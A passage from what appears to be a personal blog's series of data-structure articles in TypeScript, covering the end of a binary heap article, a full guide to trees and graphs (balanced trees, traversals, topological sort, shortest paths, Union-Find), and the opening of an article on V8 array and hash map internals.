const unstable = (a: Obj, b: Obj) => Math.random() - 0.5
// Heap operations require transitive, antisymmetric comparison

// CORRECT: Handle edge cases
const safeCompare = (a: number, b: number) => {
  if (Number.isNaN(a)) return 1 // Push NaN to bottom
  if (Number.isNaN(b)) return -1
  return a - b
}
```

### Heap Corruption from External Mutation

If stored objects are mutated, the heap property breaks:

```ts title="Mutation corruption example" collapse={1-5}
// DO NOT mutate objects in a heap without re-heapifying

interface Task {
  priority: number
  name: string
}

const heap = new MinHeap<Task>((a, b) => a.priority - b.priority)
const task = { priority: 5, name: "important" }
heap.push(task)

// WRONG: This corrupts the heap
task.priority = 1 // Heap doesn't know about this change

// CORRECT: Remove, update, re-insert
// Or use immutable objects
// Or implement decrease-key that maintains heap invariant
```

### Integer Overflow in Index Calculations

For very large heaps (>2³⁰ elements), 32-bit index arithmetic can overflow:

```ts title="Safe index calculations" collapse={1-2}
// Use BigInt or bounds checking for massive heaps

function leftChild(i: number): number {
  const result = 2 * i + 1
  if (result < i) throw new Error("Index overflow")
  return result
}
```

In practice, heaps rarely exceed millions of elements—a 4-byte integer handles indices up to ~2 billion.

## Conclusion

Binary heaps provide the right balance of simplicity, performance, and generality for most priority queue needs. The array representation eliminates pointer overhead and exploits cache locality. Understanding the O(n) buildHeap analysis and why heap sort underperforms quicksort despite better worst-case bounds illuminates the gap between theoretical and practical performance.

For graph algorithms, the "duplicate node" strategy—insert new entries instead of decrease-key—often beats sophisticated heaps by avoiding position tracking overhead. When heap size exceeds cache, consider 4-ary heaps for the cache-friendly wider tree. Fibonacci heaps remain a textbook curiosity except for specialized applications on very large, dense graphs.

The priority queue abstraction itself matters more than the heap variant. Standard libraries provide adequate implementations; optimize the data structure only after profiling proves it's the bottleneck.

## Appendix

### Prerequisites

- Big O notation and amortized analysis
- Basic tree terminology (height, complete, balanced)
- Array indexing and memory layout concepts

### Terminology

- **Heap property**: Parent dominates children (min-heap: parent ≤ children, max-heap: parent ≥ children)
- **Complete binary tree**: All levels filled except possibly the last, which fills left-to-right
- **Bubble up (sift up)**: Move an element toward the root to restore heap property
- **Bubble down (sift down, heapify)**: Move an element toward leaves to restore heap property
- **Decrease-key**: Update an element's priority and restore heap property; critical for graph algorithms
- **Amortized analysis**: Average cost per operation over a sequence, allowing expensive operations if rare
- **D-ary heap**: Generalization where each node has d children instead of 2
- **Implicit data structure**: Structure encoded in array positions rather than explicit pointers

### Summary

- Binary heaps store complete trees in arrays; parent/child relationships via index arithmetic
- Insert bubbles up (O(log n)), extract bubbles down (O(log n)), peek is O(1)
- buildHeap runs in O(n), not O(n log n)—most nodes are cheap to heapify
- Heap sort guarantees O(n log n) but loses to quicksort due to cache effects
- 4-ary heaps can be 17-30% faster due to better cache utilization
- Fibonacci heaps have better theoretical bounds but lose in practice
- For Dijkstra without decrease-key needs, use duplicate node strategy with binary heap
- JavaScript lacks built-in heaps; Python's heapq is min-heap only; Go requires interface implementation

### References

- [Binary heap - Wikipedia](https://en.wikipedia.org/wiki/Binary_heap) — Comprehensive overview of binary heap structure and operations
- [Fibonacci heap - Wikipedia](https://en.wikipedia.org/wiki/Fibonacci_heap) — Detailed analysis of Fibonacci heap amortized bounds
- [CS 161 Lecture 4 - Stanford](https://web.stanford.edu/class/archive/cs/cs161/cs161.1168/lecture4.pdf) — Build heap O(n) proof from CLRS
- [D-ary heap - Wikipedia](https://en.wikipedia.org/wiki/D-ary_heap) — Cache performance benefits of d-ary heaps
- [heapq — Python documentation](https://docs.python.org/3/library/heapq.html) — Python standard library heap implementation
- [CPython heapq.py source](https://github.com/python/cpython/blob/main/Lib/heapq.py) — Pure Python heap implementation with detailed comments
- [Go container/heap package](https://pkg.go.dev/container/heap) — Go standard library heap interface
- [Pairing heap - Wikipedia](https://en.wikipedia.org/wiki/Pairing_heap) — Practical alternative to Fibonacci heaps
- [Why Are Golang Heaps So Complicated - DoltHub](https://www.dolthub.com/blog/2023-12-01-why-are-go-heaps-confusing/) — Analysis of Go's heap interface design decisions
- [Heapify Analysis Without Math - nilmamano.com](https://nilmamano.com/blog/heapify-analysis) — Intuitive O(n) buildHeap proof
- [Decrease-Key Dijkstra's Algorithm - Baeldung](https://www.baeldung.com/cs/dijkstra-decrease-key) — Comparison of decrease-key strategies

---

## Trees and Graphs: Traversals and Applications

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/programming-patterns/data-structures/trees-and-graphs
**Category:** Programming & Patterns / Data Structures
**Description:** Hierarchical and networked data structures that underpin file systems, databases, build tools, and routing. This guide covers tree variants (BST, AVL, Red-Black, B-trees, tries), graph representations (adjacency matrix vs list), traversal algorithms (DFS, BFS), and key algorithms (cycle detection, topological sort, shortest paths). Focus on design trade-offs and when to choose each structure.

# Trees and Graphs: Traversals and Applications

Hierarchical and networked data structures that underpin file systems, databases, build tools, and routing. This guide covers tree variants (BST, AVL, Red-Black, B-trees, tries), graph representations (adjacency matrix vs list), traversal algorithms (DFS, BFS), and key algorithms (cycle detection, topological sort, shortest paths). Focus on design trade-offs and when to choose each structure.

<figure>

![Trees model hierarchical relationships; graphs model arbitrary connections. Traversal choice depends on the problem: DFS for dependencies and cycles, BFS for shortest paths.](./trees-model-hierarchical-relationships-graphs-model-arbitrary-connections-traver.svg)

<figcaption>Trees model hierarchical relationships; graphs model arbitrary connections. Traversal choice depends on the problem: DFS for dependencies and cycles, BFS for shortest paths.</figcaption>
</figure>

## Abstract

Trees and graphs share a fundamental property: nodes connected by edges. The distinction lies in structure constraints—trees enforce hierarchy (single parent, no cycles), while graphs allow arbitrary connections.

**Core mental model:**

- **Tree variants optimize different access patterns**: AVL for search-heavy workloads (stricter balance = fewer comparisons), Red-Black for write-heavy workloads (fewer rotations), B-trees for disk I/O (multiple keys per node = fewer seeks), tries for prefix operations (shared prefixes = O(key length) search)
- **Graph representation is a space-time trade-off**: Adjacency matrices give O(1) edge lookup but O(V²) space; adjacency lists give O(V+E) space but O(degree) edge lookup. Choose based on graph density.
- **Traversal choice follows from problem structure**: DFS uses a stack and explores deeply first—ideal for cycle detection, topological sort, and backtracking. BFS uses a queue and explores level-by-level—ideal for shortest paths in unweighted graphs.
- **Union-Find enables near-O(1) connectivity queries** through path compression and union by rank, making it the go-to structure for dynamic connectivity and Kruskal's MST.

## Tree Fundamentals

### Binary Search Tree (BST)

A BST maintains the invariant: left subtree values < node < right subtree values. This enables O(log n) search, insertion, and deletion—_when balanced_.

**The problem**: Without balancing, insertions in sorted order create a linear chain. A BST of n elements inserted in ascending order degenerates to a linked list with O(n) operations.

```ts title="bst-insertion.ts" collapse={1-3, 20-30}
// BST node structure
interface BSTNode<T> {
  value: T
  left: BSTNode<T> | null
  right: BSTNode<T> | null
}

// Worst case: sorted insertions create O(n) height
// insert(1), insert(2), insert(3), insert(4)
// Results in:
//   1
//    \
//     2
//      \
//       3
//        \
//         4

// Solution: self-balancing trees (AVL, Red-Black)
```

### AVL Trees: Strict Balance for Search-Heavy Workloads

AVL trees (Adelson-Velsky and Landis, 1962) were the first self-balancing BSTs. The invariant: for every node, the height difference between left and right subtrees (balance factor) must be -1, 0, or +1.

**Design rationale**: Strict balancing minimizes tree height, guaranteeing O(log n) operations. The trade-off is more rotations during modifications.

**When to use**: Read-heavy workloads where search performance matters more than write throughput. Database indexes with infrequent updates.

**Rotation mechanics**: After insertion or deletion, if balance factor becomes ±2, perform single or double rotations to restore balance. Four cases: Left-Left, Right-Right (single rotation), Left-Right, Right-Left (double rotation).

### Red-Black Trees: Looser Balance for Write-Heavy Workloads

Red-Black trees (Guibas and Sedgewick, 1978) use node coloring instead of strict height balance. Five invariants:

1. Every node is red or black
2. Root is black
3. Leaves (NIL) are black
4. Red nodes have black children
5. All paths from node to descendant leaves have equal black nodes

**Design rationale**: Looser balance (height can be up to 2× optimal) means fewer rotations during modifications. Maximum 2 rotations per insertion, 3 per deletion.

**When to use**: Write-heavy workloads. System-level data structures where modification frequency is high.

**Real-world usage**: Java `TreeMap`, C++ `std::map`, Linux kernel's Completely Fair Scheduler (CFS).

### AVL vs Red-Black: The Trade-off

| Aspect        | AVL                              | Red-Black                   |
| ------------- | -------------------------------- | --------------------------- |
| Balance       | Strict (height diff ≤ 1)         | Loose (height ≤ 2× optimal) |
| Search        | Slightly faster (shorter height) | Slightly slower             |
| Insert/Delete | More rotations                   | Fewer rotations (max 2-3)   |
| Use case      | Search-dominant                  | Write-dominant              |

### B-Trees: Disk I/O Optimization

Binary trees are inefficient for disk storage: each node access requires a disk seek (~10ms latency). With millions of nodes, tree traversal becomes I/O-bound.

**Design rationale**: B-trees increase the branching factor. Each node contains multiple keys (typically sized to fit a disk page, 4-16KB), reducing tree height and disk seeks.

A B-tree of order m:

- Each node has at most m children
- Each node (except root) has at least ⌈m/2⌉ children
- All leaves are at the same depth

**B+ tree variant**: Internal nodes contain only keys for routing; all data lives in leaf nodes, which are linked for efficient range scans. Used by most databases.

**Real-world usage**: SQLite, PostgreSQL, MySQL indexes. File systems: NTFS, HFS+, ext4, Btrfs.

```ts title="btree-node.ts" collapse={1-2, 15-20}
// B-tree node structure (simplified)
interface BTreeNode<K, V> {
  keys: K[] // Up to m-1 keys
  children: BTreeNode<K, V>[] // Up to m children
  isLeaf: boolean
}

// Example: B-tree of order 4 (up to 3 keys, 4 children per node)
// A single node can store keys [10, 20, 30]
// Children partition the key space:
// [-∞, 10), [10, 20), [20, 30), [30, +∞)

// Disk optimization: one node = one disk page
// Tree of 1M keys with order 100: height ≤ 3
// Only 3 disk reads for any lookup
```

### Tries: Prefix-Optimized Search

Tries (prefix trees) organize strings by shared prefixes. Each edge represents a character; paths from root to marked nodes spell complete strings.

**Design rationale**: Exploit prefix sharing. Looking up "prefix" in a trie of 1M words takes O(6) operations—independent of dictionary size.

**Trade-off**: Higher memory than hash tables (each character requires a node or edge), but enables prefix queries that hash tables cannot support.

**When to use**:

- Autocomplete (find all strings with prefix)
- Spell checking
- IP routing (longest prefix matching)
- T9 predictive text

**Complexity**: O(L) for search, insert, delete—where L is key length, not dictionary size.

## Graph Representations

Graphs model relationships without hierarchical constraints. The choice of representation determines performance for different operations.

### Adjacency Matrix

A V×V matrix where `matrix[i][j]` indicates the edge from vertex i to j (1/0 for unweighted, weight value for weighted).

```ts title="adjacency-matrix.ts" collapse={1-2, 18-25}
// Adjacency matrix representation
class GraphMatrix {
  private matrix: number[][]

  constructor(vertices: number) {
    this.matrix = Array.from({ length: vertices }, () => Array(vertices).fill(0))
  }

  addEdge(u: number, v: number, weight = 1): void {
    this.matrix[u][v] = weight
    // For undirected: this.matrix[v][u] = weight;
  }

  hasEdge(u: number, v: number): boolean {
    return this.matrix[u][v] !== 0 // O(1)
  }
}
```

**Operations**:

- Edge lookup: O(1)
- Add/remove edge: O(1)
- Find neighbors: O(V)—must scan entire row
- Space: O(V²)—always, regardless of edge count

**When to use**: Dense graphs where E ≈ V², frequent edge existence checks, small graphs where V² is acceptable.

### Adjacency List

Array or map of vertices, each storing a list of adjacent vertices.

```ts title="adjacency-list.ts" collapse={1-2, 20-27}
// Adjacency list representation
class GraphList {
  private adj: Map<number, Set<number>>

  constructor() {
    this.adj = new Map()
  }

  addEdge(u: number, v: number): void {
    if (!this.adj.has(u)) this.adj.set(u, new Set())
    this.adj.get(u)!.add(v)
    // For undirected: add reverse edge
  }

  hasEdge(u: number, v: number): boolean {
    return this.adj.get(u)?.has(v) ?? false // O(1) with Set
  }

  neighbors(u: number): number[] {
    return [...(this.adj.get(u) ?? [])] // O(degree)
  }
}
```

**Operations**:

- Edge lookup: O(degree) with list, O(1) with Set/hash
- Add edge: O(1)
- Remove edge: O(degree) with list, O(1) with Set
- Find neighbors: O(degree)—exactly the neighbors, no scanning
- Space: O(V + E)

**When to use**: Sparse graphs (E << V²), most real-world graphs (social networks, road networks), memory-constrained environments.

### Representation Trade-offs

| Operation          | Adjacency Matrix | Adjacency List |
| ------------------ | ---------------- | -------------- |
| Space              | O(V²)            | O(V + E)       |
| Edge lookup        | O(1)             | O(degree)      |
| Neighbor iteration | O(V)             | O(degree)      |
| Add edge           | O(1)             | O(1)           |
| Remove edge        | O(1)             | O(degree)      |
| Dense graphs       | ✓ Efficient      | ✗ Wasteful     |
| Sparse graphs      | ✗ Wasteful       | ✓ Efficient    |

**Rule of thumb**: If E < V²/64, adjacency list is more space-efficient. Most real graphs are sparse.

## Traversal Algorithms

### Depth-First Search (DFS)

DFS explores as deep as possible before backtracking. Uses a stack (explicit or call stack).

```ts title="dfs-traversal.ts" collapse={1-3, 30-40}
// DFS - Recursive (uses call stack)
function dfsRecursive(graph: Map<number, number[]>, start: number, visited = new Set<number>()): void {
  if (visited.has(start)) return
  visited.add(start)

  // Process node here
  console.log(start)

  for (const neighbor of graph.get(start) ?? []) {
    dfsRecursive(graph, neighbor, visited)
  }
}

// DFS - Iterative (explicit stack)
function dfsIterative(graph: Map<number, number[]>, start: number): void {
  const visited = new Set<number>()
  const stack = [start]

  while (stack.length > 0) {
    const node = stack.pop()!
    if (visited.has(node)) continue
    visited.add(node)

    // Process node here
    console.log(node)

    // Add neighbors in reverse for same order as recursive
    const neighbors = graph.get(node) ?? []
    for (let i = neighbors.length - 1; i >= 0; i--) {
      if (!visited.has(neighbors[i])) {
        stack.push(neighbors[i])
      }
    }
  }
}
```

**Tree DFS variants**:

- **Preorder** (root-left-right): Process node before children. Use: tree copying, serialization.
- **Inorder** (left-root-right): Process node between children. Use: BST sorted traversal.
- **Postorder** (left-right-root): Process node after children. Use: tree deletion, expression evaluation, dependency resolution.

**Complexity**: O(V + E) time, O(V) space for visited set + recursion stack.

**When to use**: Cycle detection, topological sorting, path finding in mazes, detecting connected components.

### Breadth-First Search (BFS)

BFS explores all neighbors at current depth before moving deeper. Uses a queue.

```ts title="bfs-traversal.ts" collapse={1-3, 25-35}
// BFS - Level-order traversal
function bfs(graph: Map<number, number[]>, start: number): void {
  const visited = new Set<number>()
  const queue: number[] = [start]
  visited.add(start)

  while (queue.length > 0) {
    const node = queue.shift()! // Dequeue front

    // Process node here
    console.log(node)

    for (const neighbor of graph.get(node) ?? []) {
      if (!visited.has(neighbor)) {
        visited.add(neighbor)
        queue.push(neighbor)
      }
    }
  }
}
```

**Complexity**: O(V + E) time, O(V) space for visited set + queue.

**Key property**: BFS finds shortest path in unweighted graphs. The first time BFS reaches a node, it's via the shortest path (in terms of edge count).

**When to use**: Shortest path (unweighted), level-order traversal, finding nearest neighbors, web crawling by depth.

### DFS vs BFS: Choosing the Right Traversal

| Aspect         | DFS                                             | BFS                                              |
| -------------- | ----------------------------------------------- | ------------------------------------------------ |
| Data structure | Stack                                           | Queue                                            |
| Exploration    | Deep first                                      | Level by level                                   |
| Path finding   | Any path                                        | Shortest path (unweighted)                       |
| Memory         | O(max depth)                                    | O(max width)                                     |
| Use cases      | Cycle detection, topological sort, maze solving | Shortest path, level traversal, nearest neighbor |

**Memory consideration**: In wide, shallow graphs, DFS uses less memory. In deep, narrow graphs, BFS uses less memory. For balanced trees, both use O(log n).

## Cycle Detection

### Undirected Graphs: DFS with Parent Tracking

In undirected graphs, an edge to a visited node that isn't the parent indicates a cycle.

```ts title="cycle-undirected.ts" collapse={1-3, 25-35}
// Cycle detection in undirected graph
function hasCycleUndirected(graph: Map<number, number[]>, vertices: number[]): boolean {
  const visited = new Set<number>()

  function dfs(node: number, parent: number | null): boolean {
    visited.add(node)

    for (const neighbor of graph.get(node) ?? []) {
      if (!visited.has(neighbor)) {
        if (dfs(neighbor, node)) return true
      } else if (neighbor !== parent) {
        // Visited and not parent = cycle
        return true
      }
    }
    return false
  }

  // Check all components
  for (const v of vertices) {
    if (!visited.has(v) && dfs(v, null)) return true
  }
  return false
}
```

### Directed Graphs: Three-Color DFS

In directed graphs, use three states: unvisited (white), currently visiting (gray), fully visited (black). A back edge to a gray node indicates a cycle.

```ts title="cycle-directed.ts" collapse={1-3, 30-40}
// Cycle detection in directed graph (three-color algorithm)
enum Color {
  WHITE,
  GRAY,
  BLACK,
}

function hasCycleDirected(graph: Map<number, number[]>, vertices: number[]): boolean {
  const color = new Map<number, Color>()
  vertices.forEach((v) => color.set(v, Color.WHITE))

  function dfs(node: number): boolean {
    color.set(node, Color.GRAY) // Currently visiting

    for (const neighbor of graph.get(node) ?? []) {
      if (color.get(neighbor) === Color.GRAY) {
        // Back edge to node in current path = cycle
        return true
      }
      if (color.get(neighbor) === Color.WHITE) {
        if (dfs(neighbor)) return true
      }
    }

    color.set(node, Color.BLACK) // Fully visited
    return false
  }

  for (const v of vertices) {
    if (color.get(v) === Color.WHITE && dfs(v)) return true
  }
  return false
}
```

**Why three colors?** In directed graphs, revisiting a node isn't inherently a cycle—it could be via a different path. Only revisiting a node _in the current DFS path_ (gray) indicates a cycle.

## Topological Sorting

Topological sort produces a linear ordering of DAG (Directed Acyclic Graph) vertices where for every edge u→v, u appears before v. Essential for dependency resolution.

### Kahn's Algorithm (BFS-based)

Process vertices with no incoming edges first, then update in-degrees.

```ts title="topological-kahn.ts" collapse={1-3, 35-45}
// Kahn's algorithm - BFS-based topological sort
function topologicalSortKahn(graph: Map<number, number[]>, vertices: number[]): number[] | null {
  // Calculate in-degrees
  const inDegree = new Map<number, number>()
  vertices.forEach((v) => inDegree.set(v, 0))

  for (const [_, neighbors] of graph) {
    for (const neighbor of neighbors) {
      inDegree.set(neighbor, (inDegree.get(neighbor) ?? 0) + 1)
    }
  }

  // Queue vertices with in-degree 0
  const queue = vertices.filter((v) => inDegree.get(v) === 0)
  const result: number[] = []

  while (queue.length > 0) {
    const node = queue.shift()!
    result.push(node)

    for (const neighbor of graph.get(node) ?? []) {
      const newDegree = inDegree.get(neighbor)! - 1
      inDegree.set(neighbor, newDegree)
      if (newDegree === 0) {
        queue.push(neighbor)
      }
    }
  }

  // If not all vertices processed, cycle exists
  return result.length === vertices.length ? result : null
}
```

**Advantage**: Naturally detects cycles—if result doesn't include all vertices, a cycle exists.

### DFS-based Approach

Add vertices to result after visiting all descendants (postorder), then reverse.

```ts title="topological-dfs.ts" collapse={1-3, 30-40}
// DFS-based topological sort
function topologicalSortDFS(graph: Map<number, number[]>, vertices: number[]): number[] | null {
  const visited = new Set<number>()
  const inStack = new Set<number>() // For cycle detection
  const result: number[] = []

  function dfs(node: number): boolean {
    if (inStack.has(node)) return false // Cycle
    if (visited.has(node)) return true

    visited.add(node)
    inStack.add(node)

    for (const neighbor of graph.get(node) ?? []) {
      if (!dfs(neighbor)) return false
    }

    inStack.delete(node)
    result.push(node) // Postorder
    return true
  }

  for (const v of vertices) {
    if (!visited.has(v) && !dfs(v)) return null
  }

  return result.reverse()
}
```

**Real-world applications**:

- Build systems (Maven, Gradle, Make): Compile dependencies before dependents
- Package managers (npm, pip): Install dependencies in correct order
- Task scheduling: Execute prerequisites before dependent tasks
- Database migrations: Apply schema changes in dependency order
- Course scheduling: Prerequisites before advanced courses

## Shortest Path Algorithms

### BFS for Unweighted Graphs

BFS inherently finds shortest paths when all edges have equal weight (or weight = 1).

```ts title="bfs-shortest-path.ts" collapse={1-3, 25-35}
// Shortest path in unweighted graph using BFS
function shortestPath(graph: Map<number, number[]>, start: number, end: number): number[] | null {
  const visited = new Set<number>()
  const parent = new Map<number, number>()
  const queue = [start]
  visited.add(start)

  while (queue.length > 0) {
    const node = queue.shift()!
    if (node === end) {
      // Reconstruct path
      const path = [end]
      let current = end
      while (parent.has(current)) {
        current = parent.get(current)!
        path.unshift(current)
      }
      return path
    }

    for (const neighbor of graph.get(node) ?? []) {
      if (!visited.has(neighbor)) {
        visited.add(neighbor)
        parent.set(neighbor, node)
        queue.push(neighbor)
      }
    }
  }
  return null // No path exists
}
```

### Dijkstra's Algorithm (Non-negative Weights)

Greedy algorithm using a priority queue. Always processes the vertex with smallest known distance.

**Invariant**: When a vertex is dequeued, its distance is final.

**Limitation**: Cannot handle negative edge weights—the greedy assumption breaks.

**Complexity**: O(E + V log V) with binary heap, O(E + V log V) with Fibonacci heap.

**Use cases**: GPS navigation, network routing (OSPF protocol).

### Bellman-Ford (Handles Negative Weights)

Relaxes all edges V-1 times. Can detect negative cycles.

**Algorithm**:

1. Initialize distances (source = 0, others = ∞)
2. Repeat V-1 times: for each edge (u,v), if dist[u] + weight < dist[v], update dist[v]
3. Check for negative cycles: if any edge can still be relaxed, negative cycle exists

**Complexity**: O(V·E)—slower than Dijkstra but handles negative weights.

**Use cases**: Routing protocols (RIP), arbitrage detection in currency exchange.

### Algorithm Selection

| Scenario                 | Algorithm      | Complexity     |
| ------------------------ | -------------- | -------------- |
| Unweighted graph         | BFS            | O(V + E)       |
| Non-negative weights     | Dijkstra       | O(E + V log V) |
| Negative weights         | Bellman-Ford   | O(V·E)         |
| All-pairs shortest paths | Floyd-Warshall | O(V³)          |

## Union-Find (Disjoint Set Union)

Union-Find manages a collection of disjoint sets, answering "are x and y connected?" in near-constant time.

### Operations

- **MakeSet(x)**: Create a singleton set containing x
- **Find(x)**: Return the representative (root) of x's set
- **Union(x, y)**: Merge the sets containing x and y

### Optimizations

**Path compression**: During Find, make every node point directly to the root.

```ts title="union-find.ts" collapse={1-3, 35-45}
// Union-Find with path compression and union by rank
class UnionFind {
  private parent: Map<number, number>
  private rank: Map<number, number>

  constructor(elements: number[]) {
    this.parent = new Map()
    this.rank = new Map()
    elements.forEach((e) => {
      this.parent.set(e, e) // Each element is its own parent
      this.rank.set(e, 0)
    })
  }

  find(x: number): number {
    if (this.parent.get(x) !== x) {
      // Path compression: point directly to root
      this.parent.set(x, this.find(this.parent.get(x)!))
    }
    return this.parent.get(x)!
  }

  union(x: number, y: number): void {
    const rootX = this.find(x)
    const rootY = this.find(y)
    if (rootX === rootY) return

    // Union by rank: attach smaller tree to larger
    const rankX = this.rank.get(rootX)!
    const rankY = this.rank.get(rootY)!
    if (rankX < rankY) {
      this.parent.set(rootX, rootY)
    } else if (rankX > rankY) {
      this.parent.set(rootY, rootX)
    } else {
      this.parent.set(rootY, rootX)
      this.rank.set(rootX, rankX + 1)
    }
  }

  connected(x: number, y: number): boolean {
    return this.find(x) === this.find(y)
  }
}
```

**Union by rank**: Attach the shorter tree to the taller one, preventing worst-case linear chains.

**Combined complexity**: O(α(n)) per operation, where α is the inverse Ackermann function. For all practical purposes, α(n) ≤ 4, making operations effectively O(1).

**Use cases**:

- Kruskal's MST algorithm
- Cycle detection in undirected graphs
- Connected components
- Network connectivity (social graphs, computer networks)
- Image segmentation

## Production Applications

### DOM and Virtual DOM (React)

The DOM (Document Object Model) is a tree where each node represents an HTML element. React's reconciliation algorithm diffs virtual DOM trees.

**The O(n³) problem**: A general algorithm to transform one tree into another with minimum edit operations requires O(n³) time—prohibitive for UI updates.

**React's heuristics** (from React documentation):

1. Elements of different types produce different trees (full rebuild)
2. Elements of same type with different `key` props are different instances
3. Same type, same key → minimal diff

**Result**: O(n) diffing with well-chosen keys. Without keys, React falls back to index-based matching, causing unnecessary re-renders when list order changes.

### File Systems

File systems use tree structures for directory hierarchies and B-trees for efficient storage.

**Inode-based structure** (Linux, macOS):

- Directory entries map filenames to inode numbers
- Inodes store metadata and block pointers
- Multi-level indexing (direct, indirect, double indirect) for large files

**Dentry cache**: Kernel caches directory lookups, avoiding repeated disk reads for path traversal.

### Dependency Resolution (Build Systems)

Gradle, Maven, and npm model dependencies as DAGs and use topological sorting.

**Gradle's two-phase resolution**:

1. **Graph resolution**: Build DAG of dependencies and transitive dependencies
2. **Artifact resolution**: Fetch files for resolved components

Topological sort determines build order and enables parallel execution of independent tasks.

### Database Indexing

B-trees are the standard for database indexes because they minimize disk I/O.

**Why B-trees**: A binary tree with 1M keys has height ~20. A B-tree of order 100 with 1M keys has height ~3. Each level requires a disk seek—reducing seeks by 85% dramatically improves query performance.

### Social Networks

Social graphs use graph algorithms for friend recommendations and connectivity.

**Common algorithms**:

- **Common neighbors**: Suggest users with most mutual connections
- **BFS**: Find 1st/2nd/3rd degree connections
- **Personalized PageRank**: User-specific importance ranking

## Complexity Reference

### Tree Operations

| Structure      | Search   | Insert   | Delete   | Space  | Best For        |
| -------------- | -------- | -------- | -------- | ------ | --------------- |
| BST (balanced) | O(log n) | O(log n) | O(log n) | O(n)   | General purpose |
| AVL            | O(log n) | O(log n) | O(log n) | O(n)   | Search-heavy    |
| Red-Black      | O(log n) | O(log n) | O(log n) | O(n)   | Write-heavy     |
| B-tree         | O(log n) | O(log n) | O(log n) | O(n)   | Disk storage    |
| Trie           | O(L)     | O(L)     | O(L)     | O(n·L) | Prefix search   |

### Graph Operations by Representation

| Operation          | Adjacency Matrix | Adjacency List |
| ------------------ | ---------------- | -------------- |
| Space              | O(V²)            | O(V + E)       |
| Edge lookup        | O(1)             | O(degree)      |
| Neighbor iteration | O(V)             | O(degree)      |
| Add edge           | O(1)             | O(1)           |
| Remove edge        | O(1)             | O(degree)      |

### Algorithm Complexity

| Algorithm        | Time           | Space | Use Case                          |
| ---------------- | -------------- | ----- | --------------------------------- |
| DFS              | O(V + E)       | O(V)  | Cycle detection, topological sort |
| BFS              | O(V + E)       | O(V)  | Shortest path (unweighted)        |
| Dijkstra         | O(E + V log V) | O(V)  | Shortest path (non-negative)      |
| Bellman-Ford     | O(V·E)         | O(V)  | Shortest path (negative weights)  |
| Topological Sort | O(V + E)       | O(V)  | Dependency resolution             |
| Union-Find       | O(α(n))        | O(n)  | Connectivity, MST                 |

## Conclusion

Trees and graphs model hierarchical and networked relationships respectively. The key engineering decisions are:

1. **Tree variant selection**: Match the data structure to access patterns—AVL for reads, Red-Black for writes, B-trees for disk, tries for prefixes.

2. **Graph representation**: Adjacency lists for sparse graphs (most real-world cases), matrices only for dense graphs with frequent edge lookups.

3. **Traversal choice**: DFS for problems requiring path exploration (cycles, dependencies), BFS for shortest path and level-order problems.

4. **Union-Find for connectivity**: Near-O(1) operations make it the optimal choice for dynamic connectivity problems.

These structures underpin critical systems—file systems, databases, build tools, social networks, and routing. Understanding their trade-offs enables informed architectural decisions.

## Appendix

### Prerequisites

- Big O notation and complexity analysis
- Recursion and iteration
- Basic data structures (arrays, linked lists, hash maps)
- Stack and queue operations

### Terminology

- **BST (Binary Search Tree)**: Binary tree where left < root < right
- **AVL tree**: Self-balancing BST with strict height balance (difference ≤ 1)
- **Red-Black tree**: Self-balancing BST using node coloring for looser balance
- **B-tree**: Multi-way search tree optimized for disk I/O
- **Trie (prefix tree)**: Tree structure for string storage with shared prefixes
- **DAG (Directed Acyclic Graph)**: Directed graph with no cycles
- **DFS (Depth-First Search)**: Traversal exploring deep before wide
- **BFS (Breadth-First Search)**: Traversal exploring level by level
- **Topological sort**: Linear ordering of DAG vertices respecting edge direction
- **Union-Find**: Data structure for disjoint set operations with near-O(1) complexity

### Summary

- **Tree variants optimize different dimensions**: AVL for search, Red-Black for writes, B-trees for disk, tries for prefixes
- **Graph representation choice depends on density**: Adjacency list for sparse (E << V²), matrix for dense
- **DFS uses stack, BFS uses queue**: Choose based on problem structure—depth exploration vs level-order
- **Cycle detection**: Parent tracking for undirected, three-color for directed graphs
- **Topological sort requires DAG**: Kahn's (BFS) or DFS-based, both O(V + E)
- **Union-Find achieves near-O(1)** through path compression and union by rank

### References

- [Introduction to Algorithms (CLRS)](https://mitpress.mit.edu/books/introduction-algorithms-fourth-edition) - Chapters on BSTs, Red-Black trees, B-trees, graph algorithms
- [Red-Black Tree - Wikipedia](https://en.wikipedia.org/wiki/Red%E2%80%93black_tree) - Properties and implementation
- [AVL Tree - Wikipedia](https://en.wikipedia.org/wiki/AVL_tree) - Balance factors and rotations
- [B-tree - Wikipedia](https://en.wikipedia.org/wiki/B-tree) - Structure and disk optimization rationale
- [SQLite B-Tree Module](https://sqlite.org/btreemodule.html) - Production B-tree implementation
- [React Reconciliation](https://legacy.reactjs.org/docs/reconciliation.html) - DOM diffing algorithm and heuristics
- [Trie - Wikipedia](https://en.wikipedia.org/wiki/Trie) - Prefix tree structure and applications
- [Disjoint Set Union - CP-Algorithms](https://cp-algorithms.com/data_structures/disjoint_set_union.html) - Union-Find optimizations
- [Dijkstra vs Bellman-Ford - Baeldung](https://www.baeldung.com/cs/dijkstra-vs-bellman-ford) - Shortest path algorithm comparison
- [Gradle Dependency Resolution](https://docs.gradle.org/current/userguide/graph_resolution.html) - Build system graph handling

---

## Arrays and Hash Maps: Engine Internals and Performance Reality

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/programming-patterns/data-structures/arrays-and-hash-maps
**Category:** Programming & Patterns / Data Structures
**Description:** Theoretical complexity hides the real story. Arrays promise O(1) access but degrade to O(n) with sparse indices. Hash maps guarantee O(1) lookups until collisions chain into linear probes. Understanding V8’s internal representations—elements kinds, hidden classes, and deterministic hash tables—reveals when these data structures actually deliver their promised performance and when they fail.

# Arrays and Hash Maps: Engine Internals and Performance Reality

Theoretical complexity hides the real story. Arrays promise O(1) access but degrade to O(n) with sparse indices. Hash maps guarantee O(1) lookups until collisions chain into linear probes. Understanding V8's internal representations—elements kinds, hidden classes, and deterministic hash tables—reveals when these data structures actually deliver their promised performance and when they fail.

<figure>

![V8's internal representation hierarchy. Both structures can irreversibly degrade from optimized to slow modes.](./v8-s-internal-representation-hierarchy-both-structures-can-irreversibly-degrade-.svg)

<figcaption>V8's internal representation hierarchy. Both structures can irreversibly degrade from optimized to slow modes.</figcaption>
</figure>

## Abstract

Memory layout determines real-world performance more than algorithmic complexity. Arrays exploit CPU cache lines through contiguous allocation—accessing adjacent elements costs nearly nothing when they share a 64-byte cache line. Hash maps trade memory for constant-time lookups, but load factors below 0.75 mean 25%+ waste, and collisions can chain into O(n) traversals.

